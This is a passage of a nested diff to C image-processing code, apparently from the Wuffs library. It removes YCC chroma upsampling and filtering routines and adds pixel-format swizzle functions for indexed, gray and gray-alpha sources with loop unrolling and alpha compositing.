wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h3vn_box, +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h3vn_box, +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h3vn_box, +- }, +- { +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h4vn_box, +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h4vn_box, +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h4vn_box, +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h4vn_box, +- }, +-}; ++ while (n >= 1) { ++ uint32_t d0 = ++ wuffs_base__peek_u24le__no_bounds_check(d + (0 * 3)) | 0xFF000000; ++ uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + ++ ((size_t)s[0] * 4)); ++ wuffs_base__poke_u24le__no_bounds_check( ++ d + (0 * 3), ++ wuffs_private_impl__composite_premul_nonpremul_u32_axxx(d0, s0)); + +-static inline uint32_t // +-wuffs_base__pixel_swizzler__has_triangle_upsampler(uint32_t inv_h, +- uint32_t inv_v) { +- if (inv_h == 1u) { +- return inv_v == 2u; +- } else if (inv_h == 2u) { +- return (inv_v == 1u) || (inv_v == 2u); ++ s += 1 * 1; ++ d += 1 * 3; ++ n -= 1; + } +- return false; ++ ++ return len; + } + +-// -------- ++static uint64_t // ++wuffs_private_impl__swizzle_xxx__index_binary_alpha__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ if (dst_palette_len != ++ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { ++ return 0; ++ } ++ size_t dst_len3 = dst_len / 3; ++ size_t len = (dst_len3 < src_len) ? dst_len3 : src_len; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +-// All of the wuffs_base__pixel_swizzler__swizzle_ycc__etc functions have +-// preconditions. See all of the checks made in +-// wuffs_base__pixel_swizzler__swizzle_ycck before calling these functions. For +-// example, (width > 0) is a precondition, but there are many more. ++ const size_t loop_unroll_count = 4; + +-static void // +-wuffs_base__pixel_swizzler__swizzle_ycck__general__triangle_filter_edge_row( +- wuffs_base__pixel_buffer* dst, +- uint32_t width, +- uint32_t y, +- const uint8_t* src_ptr0, +- const uint8_t* src_ptr1, +- const uint8_t* src_ptr2, +- const uint8_t* src_ptr3, +- uint32_t stride0, +- uint32_t stride1, +- uint32_t stride2, +- uint32_t stride3, +- uint32_t inv_h0, +- uint32_t inv_h1, +- uint32_t inv_h2, +- uint32_t inv_h3, +- uint32_t inv_v0, +- uint32_t inv_v1, +- uint32_t inv_v2, +- uint32_t inv_v3, +- uint32_t half_width_for_2to1, +- uint32_t h1v2_bias, +- uint8_t* scratch_buffer_2k_ptr, +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func upfunc0, +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func upfunc1, +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func upfunc2, +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func upfunc3, +- wuffs_base__pixel_swizzler__swizzle_ycc__convert_4_func conv4func) { +- const uint8_t* src0 = src_ptr0 + ((y / inv_v0) * (size_t)stride0); +- const uint8_t* src1 = src_ptr1 + ((y / inv_v1) * (size_t)stride1); +- const uint8_t* src2 = src_ptr2 + ((y / inv_v2) * (size_t)stride2); +- const uint8_t* src3 = src_ptr3 + ((y / inv_v3) * (size_t)stride3); +- uint32_t total_src_len0 = 0u; +- uint32_t total_src_len1 = 0u; +- uint32_t total_src_len2 = 0u; +- uint32_t total_src_len3 = 0u; +- +- uint32_t x = 0u; +- while (x < width) { +- bool first_column = x == 0u; +- uint32_t end = x + 480u; +- if (end > width) { +- end = width; ++ while (n >= loop_unroll_count) { ++ uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + ++ ((size_t)s[0] * 4)); ++ if (s0) { ++ wuffs_base__poke_u24le__no_bounds_check(d + (0 * 3), s0); ++ } ++ uint32_t s1 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + ++ ((size_t)s[1] * 4)); ++ if (s1) { ++ wuffs_base__poke_u24le__no_bounds_check(d + (1 * 3), s1); ++ } ++ uint32_t s2 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + ++ ((size_t)s[2] * 4)); ++ if (s2) { ++ wuffs_base__poke_u24le__no_bounds_check(d + (2 * 3), s2); ++ } ++ uint32_t s3 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + ++ ((size_t)s[3] * 4)); ++ if (s3) { ++ wuffs_base__poke_u24le__no_bounds_check(d + (3 * 3), s3); + } + +- uint32_t src_len0 = ((end - x) + inv_h0 - 1u) / inv_h0; +- uint32_t src_len1 = ((end - x) + inv_h1 - 1u) / inv_h1; +- uint32_t src_len2 = ((end - x) + inv_h2 - 1u) / inv_h2; +- uint32_t src_len3 = ((end - x) + inv_h3 - 1u) / inv_h3; +- total_src_len0 += src_len0; +- total_src_len1 += src_len1; +- total_src_len2 += src_len2; +- total_src_len3 += src_len3; +- +- const uint8_t* src_ptr_x0 = src0 + (x / inv_h0); +- const uint8_t* up0 = (*upfunc0)( // +- scratch_buffer_2k_ptr + (0u * 480u), // +- src_ptr_x0, // +- src_ptr_x0, // +- src_len0, // +- h1v2_bias, // +- first_column, // +- (total_src_len0 >= half_width_for_2to1)); +- +- const uint8_t* src_ptr_x1 = src1 + (x / inv_h1); +- const uint8_t* up1 = (*upfunc1)( // +- scratch_buffer_2k_ptr + (1u * 480u), // +- src_ptr_x1, // +- src_ptr_x1, // +- src_len1, // +- h1v2_bias, // +- first_column, // +- (total_src_len1 >= half_width_for_2to1)); +- +- const uint8_t* src_ptr_x2 = src2 + (x / inv_h2); +- const uint8_t* up2 = (*upfunc2)( // +- scratch_buffer_2k_ptr + (2u * 480u), // +- src_ptr_x2, // +- src_ptr_x2, // +- src_len2, // +- h1v2_bias, // +- first_column, // +- (total_src_len2 >= half_width_for_2to1)); ++ s += loop_unroll_count * 1; ++ d += loop_unroll_count * 3; ++ n -= loop_unroll_count; ++ } + +- const uint8_t* src_ptr_x3 = src3 + (x / inv_h3); +- const uint8_t* up3 = (*upfunc3)( // +- scratch_buffer_2k_ptr + (3u * 480u), // +- src_ptr_x3, // +- src_ptr_x3, // +- src_len3, // +- h1v2_bias, // +- first_column, // +- (total_src_len3 >= half_width_for_2to1)); ++ while (n >= 1) { ++ uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + ++ ((size_t)s[0] * 4)); ++ if (s0) { ++ wuffs_base__poke_u24le__no_bounds_check(d + (0 * 3), s0); ++ } + +- (*conv4func)(dst, x, end, y, up0, up1, up2, up3); +- x = end; ++ s += 1 * 1; ++ d += 1 * 3; ++ n -= 1; + } +-} +- +-static void // +-wuffs_base__pixel_swizzler__swizzle_ycck__general__triangle_filter( +- wuffs_base__pixel_buffer* dst, +- uint32_t width, +- uint32_t height, +- const uint8_t* src_ptr0, +- const uint8_t* src_ptr1, +- const uint8_t* src_ptr2, +- const uint8_t* src_ptr3, +- uint32_t stride0, +- uint32_t stride1, +- uint32_t stride2, +- uint32_t stride3, +- uint32_t inv_h0, +- uint32_t inv_h1, +- uint32_t inv_h2, +- uint32_t inv_h3, +- uint32_t inv_v0, +- uint32_t inv_v1, +- uint32_t inv_v2, +- uint32_t inv_v3, +- uint32_t half_width_for_2to1, +- uint32_t half_height_for_2to1, +- uint8_t* scratch_buffer_2k_ptr, +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func (*upfuncs)[4][4], +- wuffs_base__pixel_swizzler__swizzle_ycc__convert_4_func conv4func) { +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func upfunc0 = +- (*upfuncs)[(inv_h0 - 1u) & 3u][(inv_v0 - 1u) & 3u]; +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func upfunc1 = +- (*upfuncs)[(inv_h1 - 1u) & 3u][(inv_v1 - 1u) & 3u]; +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func upfunc2 = +- (*upfuncs)[(inv_h2 - 1u) & 3u][(inv_v2 - 1u) & 3u]; +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func upfunc3 = +- (*upfuncs)[(inv_h3 - 1u) & 3u][(inv_v3 - 1u) & 3u]; + +- // First row. +- uint32_t h1v2_bias = 1u; +- wuffs_base__pixel_swizzler__swizzle_ycck__general__triangle_filter_edge_row( +- dst, width, 0u, // +- src_ptr0, src_ptr1, src_ptr2, src_ptr3, // +- stride0, stride1, stride2, stride3, // +- inv_h0, inv_h1, inv_h2, inv_h3, // +- inv_v0, inv_v1, inv_v2, inv_v3, // +- half_width_for_2to1, // +- h1v2_bias, // +- scratch_buffer_2k_ptr, // +- upfunc0, upfunc1, upfunc2, upfunc3, conv4func); +- h1v2_bias = 2u; ++ return len; ++} + +- // Middle rows. +- bool last_row = height == 2u * half_height_for_2to1; +- uint32_t y_max_excl = last_row ? (height - 1u) : height; +- uint32_t y; +- for (y = 1u; y < y_max_excl; y++) { +- const uint8_t* src0_major = src_ptr0 + ((y / inv_v0) * (size_t)stride0); +- const uint8_t* src0_minor = +- (inv_v0 != 2u) +- ? src0_major +- : ((y & 1u) ? (src0_major + stride0) : (src0_major - stride0)); +- const uint8_t* src1_major = src_ptr1 + ((y / inv_v1) * (size_t)stride1); +- const uint8_t* src1_minor = +- (inv_v1 != 2u) +- ? src1_major +- : ((y & 1u) ? (src1_major + stride1) : (src1_major - stride1)); +- const uint8_t* src2_major = src_ptr2 + ((y / inv_v2) * (size_t)stride2); +- const uint8_t* src2_minor = +- (inv_v2 != 2u) +- ? src2_major +- : ((y & 1u) ? (src2_major + stride2) : (src2_major - stride2)); +- const uint8_t* src3_major = src_ptr3 + ((y / inv_v3) * (size_t)stride3); +- const uint8_t* src3_minor = +- (inv_v3 != 2u) +- ? src3_major +- : ((y & 1u) ? (src3_major + stride3) : (src3_major - stride3)); +- uint32_t total_src_len0 = 0u; +- uint32_t total_src_len1 = 0u; +- uint32_t total_src_len2 = 0u; +- uint32_t total_src_len3 = 0u; ++static uint64_t // ++wuffs_private_impl__swizzle_xxx__xxxx(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len3 = dst_len / 3; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- uint32_t x = 0u; +- while (x < width) { +- bool first_column = x == 0u; +- uint32_t end = x + 480u; +- if (end > width) { +- end = width; +- } ++ // TODO: unroll. + +- uint32_t src_len0 = ((end - x) + inv_h0 - 1u) / inv_h0; +- uint32_t src_len1 = ((end - x) + inv_h1 - 1u) / inv_h1; +- uint32_t src_len2 = ((end - x) + inv_h2 - 1u) / inv_h2; +- uint32_t src_len3 = ((end - x) + inv_h3 - 1u) / inv_h3; +- total_src_len0 += src_len0; +- total_src_len1 += src_len1; +- total_src_len2 += src_len2; +- total_src_len3 += src_len3; ++ while (n >= 1) { ++ wuffs_base__poke_u24le__no_bounds_check( ++ d + (0 * 3), wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); + +- const uint8_t* up0 = (*upfunc0)( // +- scratch_buffer_2k_ptr + (0u * 480u), // +- src0_major + (x / inv_h0), // +- src0_minor + (x / inv_h0), // +- src_len0, // +- h1v2_bias, // +- first_column, // +- (total_src_len0 >= half_width_for_2to1)); ++ s += 1 * 4; ++ d += 1 * 3; ++ n -= 1; ++ } + +- const uint8_t* up1 = (*upfunc1)( // +- scratch_buffer_2k_ptr + (1u * 480u), // +- src1_major + (x / inv_h1), // +- src1_minor + (x / inv_h1), // +- src_len1, // +- h1v2_bias, // +- first_column, // +- (total_src_len1 >= half_width_for_2to1)); ++ return len; ++} + +- const uint8_t* up2 = (*upfunc2)( // +- scratch_buffer_2k_ptr + (2u * 480u), // +- src2_major + (x / inv_h2), // +- src2_minor + (x / inv_h2), // +- src_len2, // +- h1v2_bias, // +- first_column, // +- (total_src_len2 >= half_width_for_2to1)); ++static uint64_t // ++wuffs_private_impl__swizzle_xxx__y(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len3 = dst_len / 3; ++ size_t len = (dst_len3 < src_len) ? dst_len3 : src_len; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- const uint8_t* up3 = (*upfunc3)( // +- scratch_buffer_2k_ptr + (3u * 480u), // +- src3_major + (x / inv_h3), // +- src3_minor + (x / inv_h3), // +- src_len3, // +- h1v2_bias, // +- first_column, // +- (total_src_len3 >= half_width_for_2to1)); ++ // TODO: unroll. + +- (*conv4func)(dst, x, end, y, up0, up1, up2, up3); +- x = end; +- } ++ while (n >= 1) { ++ uint8_t s0 = s[0]; ++ d[0] = s0; ++ d[1] = s0; ++ d[2] = s0; + +- h1v2_bias ^= 3u; ++ s += 1 * 1; ++ d += 1 * 3; ++ n -= 1; + } + +- // Last row. +- if (y_max_excl != height) { +- wuffs_base__pixel_swizzler__swizzle_ycck__general__triangle_filter_edge_row( +- dst, width, height - 1u, // +- src_ptr0, src_ptr1, src_ptr2, src_ptr3, // +- stride0, stride1, stride2, stride3, // +- inv_h0, inv_h1, inv_h2, inv_h3, // +- inv_v0, inv_v1, inv_v2, inv_v3, // +- half_width_for_2to1, // +- h1v2_bias, // +- scratch_buffer_2k_ptr, // +- upfunc0, upfunc1, upfunc2, upfunc3, conv4func); +- } ++ return len; + } + +-static void // +-wuffs_base__pixel_swizzler__swizzle_ycc__general__triangle_filter_edge_row( +- wuffs_base__pixel_buffer* dst, +- uint32_t width, +- uint32_t y, +- const uint8_t* src_ptr0, +- const uint8_t* src_ptr1, +- const uint8_t* src_ptr2, +- uint32_t stride0, +- uint32_t stride1, +- uint32_t stride2, +- uint32_t inv_h0, +- uint32_t inv_h1, +- uint32_t inv_h2, +- uint32_t inv_v0, +- uint32_t inv_v1, +- uint32_t inv_v2, +- uint32_t half_width_for_2to1, +- uint32_t h1v2_bias, +- uint8_t* scratch_buffer_2k_ptr, +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func upfunc0, +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func upfunc1, +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func upfunc2, +- wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_func conv3func) { +- const uint8_t* src0 = src_ptr0 + ((y / inv_v0) * (size_t)stride0); +- const uint8_t* src1 = src_ptr1 + ((y / inv_v1) * (size_t)stride1); +- const uint8_t* src2 = src_ptr2 + ((y / inv_v2) * (size_t)stride2); +- uint32_t total_src_len0 = 0u; +- uint32_t total_src_len1 = 0u; +- uint32_t total_src_len2 = 0u; +- +- uint32_t x = 0u; +- while (x < width) { +- bool first_column = x == 0u; +- uint32_t end = x + 672u; +- if (end > width) { +- end = width; +- } +- +- uint32_t src_len0 = ((end - x) + inv_h0 - 1u) / inv_h0; +- uint32_t src_len1 = ((end - x) + inv_h1 - 1u) / inv_h1; +- uint32_t src_len2 = ((end - x) + inv_h2 - 1u) / inv_h2; +- total_src_len0 += src_len0; +- total_src_len1 += src_len1; +- total_src_len2 += src_len2; +- +- const uint8_t* src_ptr_x0 = src0 + (x / inv_h0); +- const uint8_t* up0 = (*upfunc0)( // +- scratch_buffer_2k_ptr + (0u * 672u), // +- src_ptr_x0, // +- src_ptr_x0, // +- src_len0, // +- h1v2_bias, // +- first_column, // +- (total_src_len0 >= half_width_for_2to1)); ++static uint64_t // ++wuffs_private_impl__swizzle_xxx__y_16be(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len3 = dst_len / 3; ++ size_t src_len2 = src_len / 2; ++ size_t len = (dst_len3 < src_len2) ? dst_len3 : src_len2; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- const uint8_t* src_ptr_x1 = src1 + (x / inv_h1); +- const uint8_t* up1 = (*upfunc1)( // +- scratch_buffer_2k_ptr + (1u * 672u), // +- src_ptr_x1, // +- src_ptr_x1, // +- src_len1, // +- h1v2_bias, // +- first_column, // +- (total_src_len1 >= half_width_for_2to1)); ++ // TODO: unroll. + +- const uint8_t* src_ptr_x2 = src2 + (x / inv_h2); +- const uint8_t* up2 = (*upfunc2)( // +- scratch_buffer_2k_ptr + (2u * 672u), // +- src_ptr_x2, // +- src_ptr_x2, // +- src_len2, // +- h1v2_bias, // +- first_column, // +- (total_src_len2 >= half_width_for_2to1)); ++ while (n >= 1) { ++ uint8_t s0 = s[0]; ++ d[0] = s0; ++ d[1] = s0; ++ d[2] = s0; + +- (*conv3func)(dst, x, end, y, up0, up1, up2); +- x = end; ++ s += 1 * 2; ++ d += 1 * 3; ++ n -= 1; + } +-} + +-static void // +-wuffs_base__pixel_swizzler__swizzle_ycc__general__triangle_filter( +- wuffs_base__pixel_buffer* dst, +- uint32_t width, +- uint32_t height, +- const uint8_t* src_ptr0, +- const uint8_t* src_ptr1, +- const uint8_t* src_ptr2, +- uint32_t stride0, +- uint32_t stride1, +- uint32_t stride2, +- uint32_t inv_h0, +- uint32_t inv_h1, +- uint32_t inv_h2, +- uint32_t inv_v0, +- uint32_t inv_v1, +- uint32_t inv_v2, +- uint32_t half_width_for_2to1, +- uint32_t half_height_for_2to1, +- uint8_t* scratch_buffer_2k_ptr, +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func (*upfuncs)[4][4], +- wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_func conv3func) { +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func upfunc0 = +- (*upfuncs)[(inv_h0 - 1u) & 3u][(inv_v0 - 1u) & 3u]; +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func upfunc1 = +- (*upfuncs)[(inv_h1 - 1u) & 3u][(inv_v1 - 1u) & 3u]; +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func upfunc2 = +- (*upfuncs)[(inv_h2 - 1u) & 3u][(inv_v2 - 1u) & 3u]; ++ return len; ++} + +- // First row. +- uint32_t h1v2_bias = 1u; +- wuffs_base__pixel_swizzler__swizzle_ycc__general__triangle_filter_edge_row( +- dst, width, 0u, // +- src_ptr0, src_ptr1, src_ptr2, // +- stride0, stride1, stride2, // +- inv_h0, inv_h1, inv_h2, // +- inv_v0, inv_v1, inv_v2, // +- half_width_for_2to1, // +- h1v2_bias, // +- scratch_buffer_2k_ptr, // +- upfunc0, upfunc1, upfunc2, conv3func); +- h1v2_bias = 2u; ++static uint64_t // ++wuffs_private_impl__swizzle_xxx__ya_nonpremul__src(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len3 = dst_len / 3; ++ size_t src_len2 = src_len / 2; ++ size_t len = (dst_len3 < src_len2) ? dst_len3 : src_len2; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- // Middle rows. +- bool last_row = height == 2u * half_height_for_2to1; +- uint32_t y_max_excl = last_row ? (height - 1u) : height; +- uint32_t y; +- for (y = 1u; y < y_max_excl; y++) { +- const uint8_t* src0_major = src_ptr0 + ((y / inv_v0) * (size_t)stride0); +- const uint8_t* src0_minor = +- (inv_v0 != 2u) +- ? src0_major +- : ((y & 1u) ? (src0_major + stride0) : (src0_major - stride0)); +- const uint8_t* src1_major = src_ptr1 + ((y / inv_v1) * (size_t)stride1); +- const uint8_t* src1_minor = +- (inv_v1 != 2u) +- ? src1_major +- : ((y & 1u) ? (src1_major + stride1) : (src1_major - stride1)); +- const uint8_t* src2_major = src_ptr2 + ((y / inv_v2) * (size_t)stride2); +- const uint8_t* src2_minor = +- (inv_v2 != 2u) +- ? src2_major +- : ((y & 1u) ? (src2_major + stride2) : (src2_major - stride2)); +- uint32_t total_src_len0 = 0u; +- uint32_t total_src_len1 = 0u; +- uint32_t total_src_len2 = 0u; ++ // TODO: unroll. + +- uint32_t x = 0u; +- while (x < width) { +- bool first_column = x == 0u; +- uint32_t end = x + 672u; +- if (end > width) { +- end = width; +- } ++ while (n >= 1) { ++ uint32_t s0 = ((uint32_t)(s[1]) << 24) | ((uint32_t)(s[0]) * 0x010101); ++ wuffs_base__poke_u24le__no_bounds_check( ++ d + (0 * 3), ++ wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul(s0)); + +- uint32_t src_len0 = ((end - x) + inv_h0 - 1u) / inv_h0; +- uint32_t src_len1 = ((end - x) + inv_h1 - 1u) / inv_h1; +- uint32_t src_len2 = ((end - x) + inv_h2 - 1u) / inv_h2; +- total_src_len0 += src_len0; +- total_src_len1 += src_len1; +- total_src_len2 += src_len2; ++ s += 1 * 2; ++ d += 1 * 3; ++ n -= 1; ++ } + +- const uint8_t* up0 = (*upfunc0)( // +- scratch_buffer_2k_ptr + (0u * 672u), // +- src0_major + (x / inv_h0), // +- src0_minor + (x / inv_h0), // +- src_len0, // +- h1v2_bias, // +- first_column, // +- (total_src_len0 >= half_width_for_2to1)); ++ return len; ++} + +- const uint8_t* up1 = (*upfunc1)( // +- scratch_buffer_2k_ptr + (1u * 672u), // +- src1_major + (x / inv_h1), // +- src1_minor + (x / inv_h1), // +- src_len1, // +- h1v2_bias, // +- first_column, // +- (total_src_len1 >= half_width_for_2to1)); ++static uint64_t // ++wuffs_private_impl__swizzle_xxx__ya_nonpremul__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len3 = dst_len / 3; ++ size_t src_len2 = src_len / 2; ++ size_t len = (dst_len3 < src_len2) ? dst_len3 : src_len2; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- const uint8_t* up2 = (*upfunc2)( // +- scratch_buffer_2k_ptr + (2u * 672u), // +- src2_major + (x / inv_h2), // +- src2_minor + (x / inv_h2), // +- src_len2, // +- h1v2_bias, // +- first_column, // +- (total_src_len2 >= half_width_for_2to1)); ++ // TODO: unroll. + +- (*conv3func)(dst, x, end, y, up0, up1, up2); +- x = end; +- } ++ while (n >= 1) { ++ uint32_t d0 = ++ wuffs_base__peek_u24le__no_bounds_check(d + (0 * 3)) | 0xFF000000; ++ uint32_t s0 = ((uint32_t)(s[1]) << 24) | ((uint32_t)(s[0]) * 0x010101); ++ wuffs_base__poke_u24le__no_bounds_check( ++ d + (0 * 3), ++ wuffs_private_impl__composite_premul_nonpremul_u32_axxx(d0, s0)); + +- h1v2_bias ^= 3u; ++ s += 1 * 2; ++ d += 1 * 3; ++ n -= 1; + } + +- // Last row. +- if (y_max_excl != height) { +- wuffs_base__pixel_swizzler__swizzle_ycc__general__triangle_filter_edge_row( +- dst, width, height - 1u, // +- src_ptr0, src_ptr1, src_ptr2, // +- stride0, stride1, stride2, // +- inv_h0, inv_h1, inv_h2, // +- inv_v0, inv_v1, inv_v2, // +- half_width_for_2to1, // +- h1v2_bias, // +- scratch_buffer_2k_ptr, // +- upfunc0, upfunc1, upfunc2, conv3func); +- } ++ return len; + } + +-static void // +-wuffs_base__pixel_swizzler__swizzle_ycc__general__box_filter( +- wuffs_base__pixel_buffer* dst, +- uint32_t width, +- uint32_t height, +- const uint8_t* src_ptr0, +- const uint8_t* src_ptr1, +- const uint8_t* src_ptr2, +- uint32_t stride0, +- uint32_t stride1, +- uint32_t stride2, +- uint32_t inv_h0, +- uint32_t inv_h1, +- uint32_t inv_h2, +- uint32_t inv_v0, +- uint32_t inv_v1, +- uint32_t inv_v2, +- uint32_t half_width_for_2to1, +- uint32_t half_height_for_2to1, +- uint8_t* scratch_buffer_2k_ptr, +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func (*upfuncs)[4][4], +- wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_func conv3func) { +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func upfunc0 = +- (*upfuncs)[(inv_h0 - 1u) & 3u][(inv_v0 - 1u) & 3u]; +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func upfunc1 = +- (*upfuncs)[(inv_h1 - 1u) & 3u][(inv_v1 - 1u) & 3u]; +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func upfunc2 = +- (*upfuncs)[(inv_h2 - 1u) & 3u][(inv_v2 - 1u) & 3u]; +- +- uint32_t y; +- for (y = 0u; y < height; y++) { +- const uint8_t* src0_major = src_ptr0 + ((y / inv_v0) * (size_t)stride0); +- const uint8_t* src1_major = src_ptr1 + ((y / inv_v1) * (size_t)stride1); +- const uint8_t* src2_major = src_ptr2 + ((y / inv_v2) * (size_t)stride2); ++// -------- + +- uint32_t x = 0u; +- while (x < width) { +- uint32_t end = x + 672u; +- if (end > width) { +- end = width; +- } ++static uint64_t // ++wuffs_private_impl__swizzle_xxxx__index__src(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ if (dst_palette_len != ++ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { ++ return 0; ++ } ++ size_t dst_len4 = dst_len / 4; ++ size_t len = (dst_len4 < src_len) ? dst_len4 : src_len; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- uint32_t src_len0 = ((end - x) + inv_h0 - 1u) / inv_h0; +- uint32_t src_len1 = ((end - x) + inv_h1 - 1u) / inv_h1; +- uint32_t src_len2 = ((end - x) + inv_h2 - 1u) / inv_h2; ++ const size_t loop_unroll_count = 4; + +- const uint8_t* up0 = (*upfunc0)( // +- scratch_buffer_2k_ptr + (0u * 672u), // +- src0_major + (x / inv_h0), // +- src0_major + (x / inv_h0), // +- src_len0, // +- 0u, false, false); ++ while (n >= loop_unroll_count) { ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), wuffs_base__peek_u32le__no_bounds_check( ++ dst_palette_ptr + ((size_t)s[0] * 4))); ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (1 * 4), wuffs_base__peek_u32le__no_bounds_check( ++ dst_palette_ptr + ((size_t)s[1] * 4))); ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (2 * 4), wuffs_base__peek_u32le__no_bounds_check( ++ dst_palette_ptr + ((size_t)s[2] * 4))); ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (3 * 4), wuffs_base__peek_u32le__no_bounds_check( ++ dst_palette_ptr + ((size_t)s[3] * 4))); + +- const uint8_t* up1 = (*upfunc1)( // +- scratch_buffer_2k_ptr + (1u * 672u), // +- src1_major + (x / inv_h1), // +- src1_major + (x / inv_h1), // +- src_len1, // +- 0u, false, false); ++ s += loop_unroll_count * 1; ++ d += loop_unroll_count * 4; ++ n -= loop_unroll_count; ++ } + +- const uint8_t* up2 = (*upfunc2)( // +- scratch_buffer_2k_ptr + (2u * 672u), // +- src2_major + (x / inv_h2), // +- src2_major + (x / inv_h2), // +- src_len2, // +- 0u, false, false); ++ while (n >= 1) { ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), wuffs_base__peek_u32le__no_bounds_check( ++ dst_palette_ptr + ((size_t)s[0] * 4))); + +- (*conv3func)(dst, x, end, y, up0, up1, up2); +- x = end; +- } ++ s += 1 * 1; ++ d += 1 * 4; ++ n -= 1; + } +-} + +-// -------- ++ return len; ++} + +-// wuffs_base__pixel_swizzler__flattened_length is like +-// wuffs_base__table__flattened_length but returns uint64_t (not size_t) and +-// also accounts for subsampling. + static uint64_t // +-wuffs_base__pixel_swizzler__flattened_length(uint32_t width, +- uint32_t height, +- uint32_t stride, +- uint32_t inv_h, +- uint32_t inv_v) { +- uint64_t scaled_width = (((uint64_t)width) + (inv_h - 1u)) / inv_h; +- uint64_t scaled_height = (((uint64_t)height) + (inv_v - 1u)) / inv_v; +- if (scaled_height <= 0u) { +- return 0u; ++wuffs_private_impl__swizzle_xxxx__index_binary_alpha__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ if (dst_palette_len != ++ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { ++ return 0; + } +- return ((scaled_height - 1u) * stride) + scaled_width; +-} ++ size_t dst_len4 = dst_len / 4; ++ size_t len = (dst_len4 < src_len) ? dst_len4 : src_len; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status // +-wuffs_base__pixel_swizzler__swizzle_ycck( +- const wuffs_base__pixel_swizzler* p, +- wuffs_base__pixel_buffer* dst, +- wuffs_base__slice_u8 dst_palette, +- uint32_t width, +- uint32_t height, +- wuffs_base__slice_u8 src0, +- wuffs_base__slice_u8 src1, +- wuffs_base__slice_u8 src2, +- wuffs_base__slice_u8 